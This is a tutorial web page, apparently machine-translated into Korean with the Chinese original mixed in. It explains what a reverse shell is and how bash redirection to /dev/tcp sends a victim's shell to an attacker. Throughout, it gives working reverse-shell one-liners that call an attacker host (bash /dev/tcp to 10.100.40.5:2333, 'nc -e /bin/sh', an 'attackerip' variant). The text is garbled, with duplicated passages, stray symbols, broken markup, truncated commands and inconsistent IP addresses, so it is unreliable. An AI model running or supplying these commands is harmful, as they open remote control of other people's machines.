* 엄숙한 성명: 이 글은 기술적인 논의와 공유에 국한되며, 불법적인 용도로의 사용을 엄격히 금지합니다.
Rebound shell
는 제어 측이 특정 TCP/UDP
포트를 수신하고 제어 측이 해당 포트에 요청을 시작하고 해당 포트를 보내는 것을 의미합니다. 명령줄 입력 및 출력이 제어 끝으로 이동합니다. shell
,就是控制端监听在某TCP/UDP
端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
通俗点说,反弹shell
就是一种反向链接,与正向的ssh
等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。
为什么要反弹shell
? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web
服务,ssh
,telnet
等等,都是正向连接。
那么什么情况下正向连接不太好用了呢:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的
ip
会动态改变,你不能持续控制。3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹shell
。
我们用bash
远程代码执行漏洞实例来了解一下他的原理
攻击端:10.100.40.5 受害机:192.168.197.136
首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的shell
在攻击端输入命令nc -l 2333
然后在受害机执行命令
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
我们就发现,在我们的攻击端已经成功出现了我们的受害端的shell
,在我们的攻击端就能对受害端来进行下一步操作
例如:
(1)bash -i
bash
是linux
的一个比较常见的shell
,是许多Linux
发行版的默认Shell
。-i
这个参数的意思是产生交互式的shell
(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
这个文件是特别特殊的,实际上可以将其看成一个设备(Linux
下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:
(3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket
通信
我们输出字符到/dev/tcp
这个文件中
受害端:
攻击端:
(4) 下面我们在看将输出转移到到受害端,在攻击端继续监听2333
端口,并且在攻击端输入内容回车就会出现在受害端。
(5)这样思路就比较清晰了,下面再说交互重定向:
为了实现交互,我们需要把受害者交互式shell
shell
은 일반 용어로 말하면, 포워드 ssh
와는 달리 일종의 역방향 링크로 상대방 컴퓨터에 명령을 실행하여 연결하는 공격이다. 모드로 전환해야 하며, 이 공격 모드는 원격 명령 실행 취약점과 함께 사용해야 합니다. shell
을 리바운드하는 이유는 무엇입니까? 일반적으로 제어되는 끝이 방화벽에 의해 제한되고 권한이 부족하며 포트가 점유된 경우에 사용됩니다. 머신을 공격하고 머신의 포트를 연다고 가정해 보겠습니다. 공격자는 자신의 머신에서 대상 머신에 연결합니다. 이는 보다 일반적인 형태입니다. 원격 데스크톱, 웹
서비스, ssh
, telnet
등은 모두 순방향 연결입니다. 그러면 어떤 상황에서 순방향 연결을 사용하기가 쉽지 않습니까?
🎜1. 클라이언트가 네트워크 말에 도달했지만 LAN에 있으므로 직접 연결할 수 없습니다. 🎜🎜2. ip
는 동적으로 변경되며 지속적으로 제어할 수 없습니다. 🎜🎜3. 방화벽 등의 제한으로 인해 상대 머신에서는 요청을 보낼 수만 있고 요청을 받을 수는 없습니다. 🎜🎜4. 피해자가 언제 바이러스, 트로이 목마에 감염될지, 상대방의 네트워크 환경은 어떤지, 언제 컴퓨터를 켜고 끌지 알 수 없으므로, 악성 프로그램을 허용하는 것이 가장 좋습니다. 적극적으로 연결합니다. 🎜
🎜그럼 리바운드는 공격자가 서버를 지정하고 피해자 호스트가 리바운드 shell
이라고 하는 공격자의 서버 프로그램에 적극적으로 연결한다는 것을 이해하기 쉽습니다. 🎜🎜0x01 리바운드 셸 데모🎜🎜원리를 이해하기 위해 bash
원격 코드 실행 취약점 예를 사용합니다🎜🎜공격 끝: 10.100.40.5 피해자 컴퓨터: 192.168.197.136🎜 blockquote >🎜먼저 공격 측 포트에서 수신 대기해야 하며 이 포트를 사용하여nc -l 2333 명령을 입력하여 피해자 시스템에서 리바운드된 <code>셸
을 수신해야 합니다. 공격 종료 시 🎜🎜🎜🎜그런 다음 피해자 컴퓨터에서 명령을 실행하세요 🎜🎜🎜🎜저희 공격 측에서 피해자 측의bash -i > /dev/tcp 10.100.40.5/2333로그인 후 복사셸
이 성공적으로 나타났으며 공격 측에서 피해자 측에서 다음 단계를 수행할 수 있음을 발견했습니다🎜🎜🎜🎜예: 🎜🎜🎜🎜0x02 원리🎜2.1 리바운드 쉘 명령의 원리
🎜(1)bash -i
🎜🎜bash
는linux
의 일반적인셸
이며 다음과 같습니다. 많은Linux
배포 버전의 기본Shell
에서 사용됩니다.-i
이 매개변수는 대화형셸
🎜🎜(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
이 파일은 사실 매우 특별한 장치(Linux
파일 아래의 모든 것)로 간주될 수 있습니다. 실제로 이 파일의 위치에 접근하면 아래와 같이 존재하지 않습니다. 🎜🎜🎜🎜(3) 하지만 한 쪽이 포트에서 수신 대기하는 동안 이 파일을 읽고 쓰면 서버에서 대기 중인 소켓
을 얻을 수 있습니다. >Communication🎜🎜문자를/dev/tcp
🎜🎜Victim end:🎜🎜🎜🎜공격 종료: 🎜🎜🎜🎜(4) 다음으로 출력을 피해자 측으로 전송하는 방법을 살펴보고2333
을 계속 듣습니다. 포트는 공격 측에 나타나며, 공격자가 해당 내용에 들어가 엔터를 누르면 피해자 측에 나타난다. 🎜🎜🎜🎜🎜🎜(5) 이렇게 하면 아이디어가 더 명확해집니다. 아래 상호작용 방향: 🎜🎜상호작용을 달성하려면 피해자의 대화형shell
출력을 공격 시스템으로 리디렉션해야 합니다. 🎜🎜피해 시스템에 Enter: 🎜bash -i 🎜 그런 다음 어떤 명령을 입력해도 에코가 발생하지 않고 공격 엔드의 표준 출력이 공격 엔드로 향합니다. 🎜🎜🎜🎜<p><img src="https://img.php.cn/upload/article/000/465/014/168379352250437.jpg" alt="리바운드 쉘은 무엇을 의미합니까?"></p><p>这样只是回显而已,并没有办法在攻击端直接执行命令。</p><p>(6)所以我们还需要将攻击者输入的指令输入给受害者的<code>bash</code>:</p><pre class="brush:php;toolbar:false">bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="리바운드 쉘은 무엇을 의미합니까?"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="리바운드 쉘은 무엇을 의미합니까?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1로그인 후 복사受害端:
攻击端:
我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由
/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路,实现了我们远程交互式shell
的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1로그인 후 복사这样命令就不会回显到受害端了。
就算是错误输出也会输出到攻击端,这样就达到了我们的目的。
2.2 常见反弹shell方法
(1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&1;done 0/dev/tcp/attackerip/4444; sh &196 2>&196로그인 후 복사(4) 方法四
nc -e /bin/sh 10.100.40.5 2333로그인 후 복사
위 내용은 리바운드 쉘은 무엇을 의미합니까?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!